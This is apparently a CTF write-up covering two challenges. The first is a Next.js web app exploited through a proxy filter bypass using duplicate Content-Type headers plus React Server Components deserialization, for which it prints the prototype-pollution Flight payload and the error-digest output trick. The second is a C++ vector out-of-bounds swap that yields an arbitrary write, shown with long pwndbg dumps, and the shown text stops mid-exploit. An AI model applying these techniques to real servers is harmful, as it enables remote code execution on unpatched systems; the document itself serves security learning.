
kayanya mau diulang ratusan kali pun aku bakalan tetep milih kamu deh
WEB
northstar
Points: 404
Author: daffainfo
Description: What could go wrong with my website?
URL: https://northstar.cbd2026.cloud/
Reconnaissance
Opening the target showed a marketing style page for “Northstar Ops” with a Request demo form.
The frontend source shows that the page renders a ServerActionForm component. The form calls a server-side function named processData.
The server-side action is defined with:
'use server'
type DemoRequest = { name: string workEmail: string company: string notes: string}
export async function processData(data: DemoRequest): Promise<string> { await new Promise(resolve => setTimeout(resolve, 100)) return `Thanks ${data.name}. We will reach out at ${data.workEmail} after reviewing ${data.company} and your intake notes.`}This confirmed that the demo form was backed by a Next.js Server Action.
The package file showed the app was running:
"dependencies": { "react": "19.0.0", "react-dom": "19.0.0", "next": "16.0.6", "react-server-dom-webpack": "19.0.0"}This was interesting because the application used React Server Components / Server Actions with a vulnerable-looking React and Next.js stack.
Enumeration
Capturing the normal request
I configured my browser to use Burp as a proxy, opened:
https://northstar.cbd2026.cloud/
Then I filled the demo form with test data:
- Name:
rama - Email:
rama@company.com - Company:
company - Notes:
test
With Burp Intercept enabled, submitting the form produced this request:

The response confirmed the action was valid too…
The important header was:
Next-Action: 4041c5a7aa2f58ac1e5d773a90b4af6376b2ea1f26This was the Server Action ID needed for exploitation.
I sent this request to Burp Repeater.
Vulnerability Analysis
There were two bugs chained together.
Vulnerable Server Action / RSC deserialization
The application exposed a Next.js Server Action through the demo form. The action itself was simple and not directly vulnerable, but the underlying React Server Components / Server Action deserialization layer was the attack surface.
The vulnerable dependency combination was:
"next": "16.0.6","react": "19.0.0","react-server-dom-webpack": "19.0.0"The app accepted React Server Action requests and returned text/x-component, which confirmed the RSC/Flight protocol was being used.
Proxy parser differential
The app was behind a custom Python proxy. The proxy blocked requests containing the substring:
BLOCKED_TERM = "proto"This was meant to stop payloads containing __proto__.
The proxy parsed request parameters based on Content-Type:
media_type = content_type.split(";", 1)[0].strip().lower()if media_type == "application/x-www-form-urlencoded": body_text = body.decode("utf-8", errors="replace") parameters.extend(parse.parse_qsl(body_text, keep_blank_values=True)) return parameters, NoneFor JSON bodies, if parsing failed, the proxy returned without inspecting the raw body:
if media_type == "application/json": try: payload = json.loads(body.decode("utf-8", errors="replace")) except json.JSONDecodeError: return parameters, None if isinstance(payload, dict): parameters.extend(flatten_json("", payload)) elif isinstance(payload, list): parameters.extend(flatten_json("body", payload)) else: parameters.append(("body", str(payload))) return parameters, NoneThen it forwarded the original body upstream and the filter only checked parsed parameters:
if blocked_term in key_text.lower() or blocked_term in value_text.lower(): return 403, "Request blocked by input policy."So the proxy could be bypassed by making it parse the body as invalid JSON, while the upstream Next.js app parsed the same body as multipart form data.
This was done with duplicate Content-Type headers:
Content-Type: application/jsonContent-Type: multipart/form-data; boundary=----northstarThe proxy used one interpretation and skipped body inspection. Next.js used the multipart interpretation and processed the malicious React Flight payload.
Exploitation
Send normal request to repeater
The original body was:
[{"name":"rama","workEmail":"rama@company.com","company":"company","notes":"test"}]This body was only a normal Server Action argument array. It simply called:
processData({ name: "rama", workEmail: "rama@company.com", company: "company", notes: "test"})For exploitation, I replaced the normal argument body with a malicious multipart React Flight payload.
References: https://github.com/freeqaz/react2shell

Convert request to HTTP/1.1
In Burp Repeater, I switched the request from HTTP/2 to HTTP/1.1.
This was important because duplicate headers are easier to preserve in HTTP/1.1.
The request line became:
POST / HTTP/1.1Replace headers
I kept the valid Next-Action header from the intercepted request and replaced the body-related headers.
Final headers:

I deleted Content-Length and let Burp recalculate it automatically.
The duplicate Content-Type headers were required:
Content-Type: application/jsonContent-Type: multipart/form-data; boundary=----northstarThe first header made the proxy try to parse the body as JSON. Since the body was not valid JSON, parsing failed and the proxy skipped inspection.
The second header made the upstream Next.js app parse the body as multipart React Server Action data.
Replace the body
I replaced the original JSON body with this multipart payload:

Why the body changed
The original body was normal app data.
The exploit body was not meant for the application logic. It was meant for the React Server Components deserializer.
The multipart field named 0 defined a malicious React Flight chunk:
{ "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": { "_prefix": "JavaScript payload here", "_formData": { "get": "$1:constructor:constructor" } }}The important references were:
$1:__proto__:then$1:constructor:constructor
These abused the vulnerable RSC deserialization behavior to reach JavaScript execution.
The JavaScript payload executed:
/readflagThen it threw an error with the command output inside the digest field:
throw Object.assign(new Error('NEXT_REDIRECT'), { digest: `${res}`});This made the command output appear in the HTTP response body.
Privilege Escalation
So basically it’s a Remote Code Execution initially ran as the low-privileged ctf user.
If we test with:
execSync('id')returned:
uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)
The challenge included a SUID helper:
#include <stdio.h>#include <stdlib.h>#include <unistd.h>
int main(void){ setuid(0); system("/bin/cat /root/flag.txt"); return 0;}So instead of trying to read /root/flag.txt directly, the exploit executed: /readflag
The helper switched to UID 0 and printed the root flag.
The 500 Internal Server Error was expected. The exploit intentionally threw an error so the command output would be reflected in the React error digest.

Flag
CBC{6cc6abdf24b2ece791cff9c75f5fdddb}References
- https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
- https://www.trendmicro.com/en_us/research/25/l/CVE-2025-55182-analysis-poc-itw.html
- https://github.com/freeqaz/react2shell
- https://www.sysdig.com/blog/detecting-react2shell
PWN
cbc_plus_plus_1
Points: 780
Author: zafirr
Description: A C++ number manager exposes a suspicious swap routine.
Connect:nc pwn.cbd2026.cloud 9999
Reconnaissance
Run the binary:

Input flow:

Source Code Review
The binary has:
std::string name;std::vector<unsigned long long> *vec;The program reads name, creates a heap vector, then reserves 0x100 elements:
void init() { std::cout << "Your name: "; std::cin >> name; vec = new std::vector<unsigned long long>(); vec->reserve(0x100);}The menu prints name every loop:
void menu() { std::cout << "Hi, " << name << std::endl; std::cout << "1. Add new number" << std::endl; std::cout << "2. Swap numbers" << std::endl; std::cout << "3. Exit" << std::endl; std::cout << "> ";}Case 1 adds a controlled unsigned long long:
std::cout << "Num: ";std::cin >> num;vec->push_back(num);std::cout << "Done" << std::endl;break;Case 2 swaps two vector indexes:
std::cout << "Index 1: ";std::cin >> ind1;std::cout << "Index 2: ";std::cin >> ind2;num = vec->operator[](ind1);vec->operator[](ind1) = vec->operator[](ind2);vec->operator[](ind2) = num;std::cout << "Done" << std::endl;Vulnerability
The vulnerable lines are:
num = vec->operator[](ind1);vec->operator[](ind1) = vec->operator[](ind2);vec->operator[](ind2) = num;Because:
std::vector::operator[]does not bounds-check.ind1andind2are attacker-controlled signed int values.- Negative indexes are accepted by input.
operator[]has no bounds checking, and out-of-range access is undefined behavior.
Because std::vector stores elements contiguously, an invalid index becomes pointer arithmetic relative to the backing buffer.
References: https://en.cppreference.com/cpp/container/vector
So if we enter -1, -2, -3, -4 we can read/write before the vector buffer.
Debugging with pwndbg
Start GDB:


pwndbg> disassemble mainDump of assembler code for function main: 0x000000000040145d <+0>: endbr64 0x0000000000401461 <+4>: push rbp 0x0000000000401462 <+5>: mov rbp,rsp=> 0x0000000000401465 <+8>: push rbx 0x0000000000401466 <+9>: sub rsp,0x28 0x000000000040146a <+13>: mov rax,QWORD PTR fs:0x28 0x0000000000401473 <+22>: mov QWORD PTR [rbp-0x18],rax 0x0000000000401477 <+26>: xor eax,eax 0x0000000000401479 <+28>: call 0x4012f6 <_Z4initv> 0x000000000040147e <+33>: mov DWORD PTR [rbp-0x2c],0x0 0x0000000000401485 <+40>: mov DWORD PTR [rbp-0x28],0x0 0x000000000040148c <+47>: mov DWORD PTR [rbp-0x24],0x0 0x0000000000401493 <+54>: mov QWORD PTR [rbp-0x20],0x0 0x000000000040149b <+62>: call 0x401378 <_Z4menuv> 0x00000000004014a0 <+67>: lea rax,[rbp-0x2c] 0x00000000004014a4 <+71>: mov rsi,rax 0x00000000004014a7 <+74>: lea rax,[rip+0x3cb2] # 0x405160 <_ZSt3cin@GLIBCXX_3.4> 0x00000000004014ae <+81>: mov rdi,rax 0x00000000004014b1 <+84>: call 0x401140 <_ZNSirsERi@plt> 0x00000000004014b6 <+89>: mov eax,DWORD PTR [rbp-0x2c] 0x00000000004014b9 <+92>: cmp eax,0x3 0x00000000004014bc <+95>: je 0x40167f <main+546> 0x00000000004014c2 <+101>: cmp eax,0x3 0x00000000004014c5 <+104>: jg 0x40164e <main+497> 0x00000000004014cb <+110>: cmp eax,0x1 0x00000000004014ce <+113>: je 0x4014da <main+125> 0x00000000004014d0 <+115>: cmp eax,0x2 0x00000000004014d3 <+118>: je 0x40154f <main+242> 0x00000000004014d5 <+120>: jmp 0x40164e <main+497> 0x00000000004014da <+125>: lea rax,[rip+0x1b61] # 0x403042 0x00000000004014e1 <+132>: mov rsi,rax 0x00000000004014e4 <+135>: lea rax,[rip+0x3b55] # 0x405040 <_ZSt4cout@GLIBCXX_3.4> 0x00000000004014eb <+142>: mov rdi,rax 0x00000000004014ee <+145>: call 0x401180 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt> 0x00000000004014f3 <+150>: lea rax,[rbp-0x20] 0x00000000004014f7 <+154>: mov rsi,rax 0x00000000004014fa <+157>: lea rax,[rip+0x3c5f] # 0x405160 <_ZSt3cin@GLIBCXX_3.4> 0x0000000000401501 <+164>: mov rdi,rax 0x0000000000401504 <+167>: call 0x4011d0 <_ZNSirsERy@plt> 0x0000000000401509 <+172>: mov rax,QWORD PTR [rip+0x3d90] # 0x4052a0 <vec> 0x0000000000401510 <+179>: lea rdx,[rbp-0x20] 0x0000000000401514 <+183>: mov rsi,rdx 0x0000000000401517 <+186>: mov rdi,rax 0x000000000040151a <+189>: call 0x4018bc <_ZNSt6vectorIySaIyEE9push_backERKy> 0x000000000040151f <+194>: lea rax,[rip+0x1b22] # 0x403048 0x0000000000401526 <+201>: mov rsi,rax 0x0000000000401529 <+204>: lea rax,[rip+0x3b10] # 0x405040 <_ZSt4cout@GLIBCXX_3.4> 0x0000000000401530 <+211>: mov rdi,rax 0x0000000000401533 <+214>: call 0x401180 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt> 0x0000000000401538 <+219>: mov rdx,QWORD PTR [rip+0x3aa1] # 0x404fe0 0x000000000040153f <+226>: mov rsi,rdx 0x0000000000401542 <+229>: mov rdi,rax 0x0000000000401545 <+232>: call 0x4011b0 <_ZNSolsEPFRSoS_E@plt> 0x000000000040154a <+237>: jmp 0x40167a <main+541> 0x000000000040154f <+242>: lea rax,[rip+0x1af7] # 0x40304d 0x0000000000401556 <+249>: mov rsi,rax 0x0000000000401559 <+252>: lea rax,[rip+0x3ae0] # 0x405040 <_ZSt4cout@GLIBCXX_3.4> 0x0000000000401560 <+259>: mov rdi,rax 0x0000000000401563 <+262>: call 0x401180 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt> 0x0000000000401568 <+267>: lea rax,[rbp-0x28] 0x000000000040156c <+271>: mov rsi,rax 0x000000000040156f <+274>: lea rax,[rip+0x3bea] # 0x405160 <_ZSt3cin@GLIBCXX_3.4> 0x0000000000401576 <+281>: mov rdi,rax 0x0000000000401579 <+284>: call 0x401140 <_ZNSirsERi@plt> 0x000000000040157e <+289>: lea rax,[rip+0x1ad2] # 0x403057 0x0000000000401585 <+296>: mov rsi,rax 0x0000000000401588 <+299>: lea rax,[rip+0x3ab1] # 0x405040 <_ZSt4cout@GLIBCXX_3.4> 0x000000000040158f <+306>: mov rdi,rax 0x0000000000401592 <+309>: call 0x401180 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt> 0x0000000000401597 <+314>: lea rax,[rbp-0x24] 0x000000000040159b <+318>: mov rsi,rax 0x000000000040159e <+321>: lea rax,[rip+0x3bbb] # 0x405160 <_ZSt3cin@GLIBCXX_3.4> 0x00000000004015a5 <+328>: mov rdi,rax 0x00000000004015a8 <+331>: call 0x401140 <_ZNSirsERi@plt> 0x00000000004015ad <+336>: mov rax,QWORD PTR [rip+0x3cec] # 0x4052a0 <vec> 0x00000000004015b4 <+343>: mov edx,DWORD PTR [rbp-0x28] 0x00000000004015b7 <+346>: movsxd rdx,edx 0x00000000004015ba <+349>: mov rsi,rdx 0x00000000004015bd <+352>: mov rdi,rax 0x00000000004015c0 <+355>: call 0x40198a <_ZNSt6vectorIySaIyEEixEm> 0x00000000004015c5 <+360>: mov rax,QWORD PTR [rax] 0x00000000004015c8 <+363>: mov QWORD PTR [rbp-0x20],rax 0x00000000004015cc <+367>: mov rax,QWORD PTR [rip+0x3ccd] # 0x4052a0 <vec> 0x00000000004015d3 <+374>: mov edx,DWORD PTR [rbp-0x24] 0x00000000004015d6 <+377>: movsxd rdx,edx 0x00000000004015d9 <+380>: mov rsi,rdx 0x00000000004015dc <+383>: mov rdi,rax 0x00000000004015df <+386>: call 0x40198a <_ZNSt6vectorIySaIyEEixEm> 0x00000000004015e4 <+391>: mov rbx,QWORD PTR [rax] 0x00000000004015e7 <+394>: mov rax,QWORD PTR [rip+0x3cb2] # 0x4052a0 <vec> 0x00000000004015ee <+401>: mov edx,DWORD PTR [rbp-0x28] 0x00000000004015f1 <+404>: movsxd rdx,edx 0x00000000004015f4 <+407>: mov rsi,rdx 0x00000000004015f7 <+410>: mov rdi,rax 0x00000000004015fa <+413>: call 0x40198a <_ZNSt6vectorIySaIyEEixEm> 0x00000000004015ff <+418>: mov QWORD PTR [rax],rbx 0x0000000000401602 <+421>: mov rbx,QWORD PTR [rbp-0x20] 0x0000000000401606 <+425>: mov rax,QWORD PTR [rip+0x3c93] # 0x4052a0 <vec> 0x000000000040160d <+432>: mov edx,DWORD PTR [rbp-0x24] 0x0000000000401610 <+435>: movsxd rdx,edx 0x0000000000401613 <+438>: mov rsi,rdx 0x0000000000401616 <+441>: mov rdi,rax 0x0000000000401619 <+444>: call 0x40198a <_ZNSt6vectorIySaIyEEixEm> 0x000000000040161e <+449>: mov QWORD PTR [rax],rbx 0x0000000000401621 <+452>: lea rax,[rip+0x1a20] # 0x403048 0x0000000000401628 <+459>: mov rsi,rax 0x000000000040162b <+462>: lea rax,[rip+0x3a0e] # 0x405040 <_ZSt4cout@GLIBCXX_3.4> 0x0000000000401632 <+469>: mov rdi,rax 0x0000000000401635 <+472>: call 0x401180 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt> 0x000000000040163a <+477>: mov rdx,QWORD PTR [rip+0x399f] # 0x404fe0 0x0000000000401641 <+484>: mov rsi,rdx 0x0000000000401644 <+487>: mov rdi,rax 0x0000000000401647 <+490>: call 0x4011b0 <_ZNSolsEPFRSoS_E@plt> 0x000000000040164c <+495>: jmp 0x40167a <main+541> 0x000000000040164e <+497>: lea rax,[rip+0x1a0c] # 0x403061 0x0000000000401655 <+504>: mov rsi,rax 0x0000000000401658 <+507>: lea rax,[rip+0x39e1] # 0x405040 <_ZSt4cout@GLIBCXX_3.4> 0x000000000040165f <+514>: mov rdi,rax 0x0000000000401662 <+517>: call 0x401180 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt> 0x0000000000401667 <+522>: mov rdx,QWORD PTR [rip+0x3972] # 0x404fe0 0x000000000040166e <+529>: mov rsi,rdx 0x0000000000401671 <+532>: mov rdi,rax 0x0000000000401674 <+535>: call 0x4011b0 <_ZNSolsEPFRSoS_E@plt> 0x0000000000401679 <+540>: nop 0x000000000040167a <+541>: jmp 0x40149b <main+62> 0x000000000040167f <+546>: nop 0x0000000000401680 <+547>: lea rax,[rip+0x19e2] # 0x403069 0x0000000000401687 <+554>: mov rsi,rax 0x000000000040168a <+557>: lea rax,[rip+0x39af] # 0x405040 <_ZSt4cout@GLIBCXX_3.4> 0x0000000000401691 <+564>: mov rdi,rax 0x0000000000401694 <+567>: call 0x401180 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt> 0x0000000000401699 <+572>: mov rdx,QWORD PTR [rip+0x3940] # 0x404fe0 0x00000000004016a0 <+579>: mov rsi,rdx 0x00000000004016a3 <+582>: mov rdi,rax 0x00000000004016a6 <+585>: call 0x4011b0 <_ZNSolsEPFRSoS_E@plt> 0x00000000004016ab <+590>: mov eax,0x0 0x00000000004016b0 <+595>: mov rdx,QWORD PTR [rbp-0x18] 0x00000000004016b4 <+599>: sub rdx,QWORD PTR fs:0x28 0x00000000004016bd <+608>: je 0x4016c4 <main+615> 0x00000000004016bf <+610>: call 0x4011c0 <__stack_chk_fail@plt> 0x00000000004016c4 <+615>: mov rbx,QWORD PTR [rbp-0x8] 0x00000000004016c8 <+619>: leave 0x00000000004016c9 <+620>: retEnd of assembler dump.This confirms the add path uses push_back, and the swap path repeatedly calls vector::operator[]. The pwndbg disassembly also shows the indexes are read as signed ints and sign-extended with movsxd before being used.
Find global addresses
Run outside GDB:

So:
name = 0x405280vec = 0x4052a0Inspect Vector Layout
Break after init():

Breakpoint 2, 0x000000000040147e in main ()LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA────────────────────────────────────────────────────────────────────[ LAST SIGNAL ]─────────────────────────────────────────────────────────────────────Breakpoint hit at 0x40147e─────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────── RAX 0x418ad0 —▸ 0x418af0 ◂— 0 RBX 0x7fffffffdf98 —▸ 0x7fffffffe227 ◂— '/mnt/c/Users/obscy/Downloads/cbd/cbc_plus_plus_1/cbc_plus_plus_1' RCX 0 RDX 0x4192f0 ◂— 0 RDI 0x418ad0 —▸ 0x418af0 ◂— 0 RSI 0 R8 0x7ffff7a03b20 (main_arena+96) —▸ 0x4192f0 ◂— 0 R9 0 R10 1 R11 2 R12 1 R13 0 R14 0x404d48 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4012c0 (__do_global_dtors_aux) ◂— endbr64 R15 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0 RBP 0x7fffffffde70 —▸ 0x7fffffffdf10 —▸ 0x7fffffffdf70 ◂— 0 RSP 0x7fffffffde40 ◂— 0x2e78786362696c67 ('glibcxx.') RIP 0x40147e (main+33) ◂— mov dword ptr [rbp - 0x2c], 0──────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────── 0x401466 <main+9> sub rsp, 0x28 RSP => 0x7fffffffde40 (0x7fffffffde68 - 0x28) 0x40146a <main+13> mov rax, qword ptr fs:[0x28] RAX, [0x7ffff7e9b768] => 0x69e57963092a4d00 0x401473 <main+22> mov qword ptr [rbp - 0x18], rax [0x7fffffffde58] <= 0x69e57963092a4d00 0x401477 <main+26> xor eax, eax EAX => 0 0x401479 <main+28> call init() <init()>
b► 0x40147e <main+33> mov dword ptr [rbp - 0x2c], 0 [0x7fffffffde44] <= 0 0x401485 <main+40> mov dword ptr [rbp - 0x28], 0 [0x7fffffffde48] <= 0 0x40148c <main+47> mov dword ptr [rbp - 0x24], 0 [0x7fffffffde4c] <= 0 0x401493 <main+54> mov qword ptr [rbp - 0x20], 0 [0x7fffffffde50] <= 0 0x40149b <main+62> call menu() <menu()>
0x4014a0 <main+67> lea rax, [rbp - 0x2c]───────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────00:0000│ rsp 0x7fffffffde40 ◂— 0x2e78786362696c67 ('glibcxx.')01:0008│-028 0x7fffffffde48 ◂— 0x6c6f6f705f68652e ('.eh_pool')02:0010│-020 0x7fffffffde50 —▸ 0x7fffffffdef0 ◂— 003:0018│-018 0x7fffffffde58 ◂— 0x9fbe8486dadc4a0004:0020│-010 0x7fffffffde60 —▸ 0x7ffff7e7aa50 ◂— 205:0028│-008 0x7fffffffde68 —▸ 0x7fffffffdf98 —▸ 0x7fffffffe227 ◂— '/mnt/c/Users/obscy/Downloads/cbd/cbc_plus_plus_1/cbc_plus_plus_1'06:0030│ rbp 0x7fffffffde70 —▸ 0x7fffffffdf10 —▸ 0x7fffffffdf70 ◂— 007:0038│+008 0x7fffffffde78 —▸ 0x7ffff782a1ca (__libc_start_call_main+122) ◂— mov edi, eax─────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────── ► 0 0x40147e main+33 1 0x7ffff782a1ca __libc_start_call_main+122 2 0x7ffff782a28b __libc_start_main+139 3 0x401235 _start+37────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────Now inspect vec:
pwndbg> continueContinuing.
Breakpoint 3, 0x000000000040149b in main ()LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA────────────────────────────────────────────────────────────────────[ LAST SIGNAL ]─────────────────────────────────────────────────────────────────────Breakpoint hit at 0x40149b─────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────── RAX 0x418ad0 —▸ 0x418af0 ◂— 0 RBX 0x7fffffffdf98 —▸ 0x7fffffffe227 ◂— '/mnt/c/Users/obscy/Downloads/cbd/cbc_plus_plus_1/cbc_plus_plus_1' RCX 0 RDX 0x4192f0 ◂— 0 RDI 0x418ad0 —▸ 0x418af0 ◂— 0 RSI 0 R8 0x7ffff7a03b20 (main_arena+96) —▸ 0x4192f0 ◂— 0 R9 0 R10 1 R11 2 R12 1 R13 0 R14 0x404d48 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4012c0 (__do_global_dtors_aux) ◂— endbr64 R15 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0 RBP 0x7fffffffde70 —▸ 0x7fffffffdf10 —▸ 0x7fffffffdf70 ◂— 0 RSP 0x7fffffffde40 ◂— 0x62696c67 /* 'glib' */*RIP 0x40149b (main+62) ◂— call menu()──────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────── 0x401479 <main+28> call init() <init()>
b+ 0x40147e <main+33> mov dword ptr [rbp - 0x2c], 0 [0x7fffffffde44] <= 0 0x401485 <main+40> mov dword ptr [rbp - 0x28], 0 [0x7fffffffde48] <= 0 0x40148c <main+47> mov dword ptr [rbp - 0x24], 0 [0x7fffffffde4c] <= 0 0x401493 <main+54> mov qword ptr [rbp - 0x20], 0 [0x7fffffffde50] <= 0b► 0x40149b <main+62> call menu() <menu()> rdi: 0x418ad0 —▸ 0x418af0 ◂— 0 rsi: 0 rdx: 0x4192f0 ◂— 0 rcx: 0
0x4014a0 <main+67> lea rax, [rbp - 0x2c] 0x4014a4 <main+71> mov rsi, rax 0x4014a7 <main+74> lea rax, [rip + 0x3cb2] RAX => 0x405160 (std::cin@GLIBCXX_3.4) 0x4014ae <main+81> mov rdi, rax RDI => 0x405160 (std::cin@GLIBCXX_3.4) 0x4014b1 <main+84> call std::basic_istream<char, std::char_traits<char> >::operator>>(int&)@plt <std::basic_istream<char, std::char_traits<char> >::operator>>(int&)@plt>───────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────00:0000│ rsp 0x7fffffffde40 ◂— 0x62696c67 /* 'glib' */01:0008│-028 0x7fffffffde48 ◂— 002:0010│-020 0x7fffffffde50 ◂— 003:0018│-018 0x7fffffffde58 ◂— 0xc97267ab5f63770004:0020│-010 0x7fffffffde60 —▸ 0x7ffff7e7aa50 ◂— 205:0028│-008 0x7fffffffde68 —▸ 0x7fffffffdf98 —▸ 0x7fffffffe227 ◂— '/mnt/c/Users/obscy/Downloads/cbd/cbc_plus_plus_1/cbc_plus_plus_1'06:0030│ rbp 0x7fffffffde70 —▸ 0x7fffffffdf10 —▸ 0x7fffffffdf70 ◂— 007:0038│+008 0x7fffffffde78 —▸ 0x7ffff782a1ca (__libc_start_call_main+122) ◂— mov edi, eax─────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────── ► 0 0x40149b main+62 1 0x7ffff782a1ca __libc_start_call_main+122 2 0x7ffff782a28b __libc_start_main+139 3 0x401235 _start+37────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────pwndbg> x/gx 0x4052a00x4052a0 <vec>: 0x0000000000418ad0pwndbg> set $vecobj = *(unsigned long long*)0x4052a0pwndbg> p/x $vecobj$2 = 0x418ad0pwndbg> x/3gx $vecobj0x418ad0: 0x0000000000418af0 0x0000000000418af00x418ae0: 0x00000000004192f0pwndbg> set $buf = *(unsigned long long*)$vecobjpwndbg> p/d ($buf - $vecobj) / 8$3 = 4pwndbg> continueContinuing.Hi, ram1. Add new number2. Swap numbers3. Exit> 1Num: 1234Done
Breakpoint 3, 0x000000000040149b in main ()LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA────────────────────────────────────────────────────────────────────[ LAST SIGNAL ]─────────────────────────────────────────────────────────────────────Breakpoint hit at 0x40149b─────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────*RAX 0x405040 (std::cout@GLIBCXX_3.4) —▸ 0x7ffff7e74310 (vtable for std::basic_ostream<char, std::char_traits<char> >+24) —▸ 0x7ffff7d55670 (std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()) ◂— endbr64 RBX 0x7fffffffdf98 —▸ 0x7fffffffe227 ◂— '/mnt/c/Users/obscy/Downloads/cbd/cbc_plus_plus_1/cbc_plus_plus_1'*RCX 0x7ffff791c5a4 (write+20) ◂— cmp rax, -0x1000 /* 'H=' */*RDX 0x7ffff7e74310 (vtable for std::basic_ostream<char, std::char_traits<char> >+24) —▸ 0x7ffff7d55670 (std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()) ◂— endbr64*RDI 0x7ffff7a05710 (_IO_stdfile_1_lock) ◂— 0 RSI 0*R8 0x7ffff7e79e00 —▸ 0x7ffff7e72a08 (vtable for __gnu_cxx::stdio_sync_filebuf<char, std::char_traits<char> >+16) —▸ 0x7ffff7d280c0 (__gnu_cxx::stdio_sync_filebuf<char, std::char_traits<char> >::~stdio_sync_filebuf()) ◂— endbr64*R9 0xffffffff*R10 0*R11 0x202 R12 1 R13 0 R14 0x404d48 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4012c0 (__do_global_dtors_aux) ◂— endbr64 R15 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0 RBP 0x7fffffffde70 —▸ 0x7fffffffdf10 —▸ 0x7fffffffdf70 ◂— 0 RSP 0x7fffffffde40 ◂— 0x162696c67 RIP 0x40149b (main+62) ◂— call menu()──────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────── 0x401479 <main+28> call init() <init()>
b+ 0x40147e <main+33> mov dword ptr [rbp - 0x2c], 0 0x401485 <main+40> mov dword ptr [rbp - 0x28], 0 0x40148c <main+47> mov dword ptr [rbp - 0x24], 0 0x401493 <main+54> mov qword ptr [rbp - 0x20], 0b► 0x40149b <main+62> call menu() <menu()> rdi: 0x7ffff7a05710 (_IO_stdfile_1_lock) ◂— 0 rsi: 0 rdx: 0x7ffff7e74310 (vtable for std::basic_ostream<char, std::char_traits<char> >+24) —▸ 0x7ffff7d55670 (std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()) ◂— endbr64 rcx: 0x7ffff791c5a4 (write+20) ◂— cmp rax, -0x1000 /* 'H=' */
0x4014a0 <main+67> lea rax, [rbp - 0x2c] 0x4014a4 <main+71> mov rsi, rax 0x4014a7 <main+74> lea rax, [rip + 0x3cb2] RAX => 0x405160 (std::cin@GLIBCXX_3.4) 0x4014ae <main+81> mov rdi, rax RDI => 0x405160 (std::cin@GLIBCXX_3.4) 0x4014b1 <main+84> call std::basic_istream<char, std::char_traits<char> >::operator>>(int&)@plt <std::basic_istream<char, std::char_traits<char> >::operator>>(int&)@plt>───────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────00:0000│ rsp 0x7fffffffde40 ◂— 0x162696c6701:0008│-028 0x7fffffffde48 ◂— 002:0010│-020 0x7fffffffde50 ◂— 0x4d203:0018│-018 0x7fffffffde58 ◂— 0xc97267ab5f63770004:0020│-010 0x7fffffffde60 —▸ 0x7ffff7e7aa50 ◂— 205:0028│-008 0x7fffffffde68 —▸ 0x7fffffffdf98 —▸ 0x7fffffffe227 ◂— '/mnt/c/Users/obscy/Downloads/cbd/cbc_plus_plus_1/cbc_plus_plus_1'06:0030│ rbp 0x7fffffffde70 —▸ 0x7fffffffdf10 —▸ 0x7fffffffdf70 ◂— 007:0038│+008 0x7fffffffde78 —▸ 0x7ffff782a1ca (__libc_start_call_main+122) ◂— mov edi, eax─────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────── ► 0 0x40149b main+62 1 0x7ffff782a1ca __libc_start_call_main+122 2 0x7ffff782a28b __libc_start_main+139 3 0x401235 _start+37────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────pwndbg> set $vecobj = *(unsigned long long*)0x4052a0pwndbg> x/3gx $vecobj0x418ad0: 0x0000000000418af0 0x0000000000418af80x418ae0: 0x00000000004192f0pwndbg> set $buf = *(unsigned long long*)$vecobjpwndbg> x/8gx $buf0x418af0: 0x00000000000004d2 0x00000000000000000x418b00: 0x0000000000000000 0x00000000000000000x418b10: 0x0000000000000000 0x00000000000000000x418b20: 0x0000000000000000 0x0000000000000000vec[-3] Touches finish
We know:
vec[-4] = beginvec[-3] = finishvec[-2] = end_of_storageSo if the swap feature can write to vec[-3], we can overwrite the vector’s finish pointer.
That turns this normal operation:
vec->push_back(value);into:
*(uint64_t *)finish = value;If we control finish, we get an arbitrary 8-byte write.
This bug exists because std::vector::operator[] performs no bounds checking. Out-of-range access is undefined behavior. std::vector::at() would perform bounds checking and throw std::out_of_range, but the challenge uses operator[].

Swapping Index 1 = 0 with Index 2 = -3:
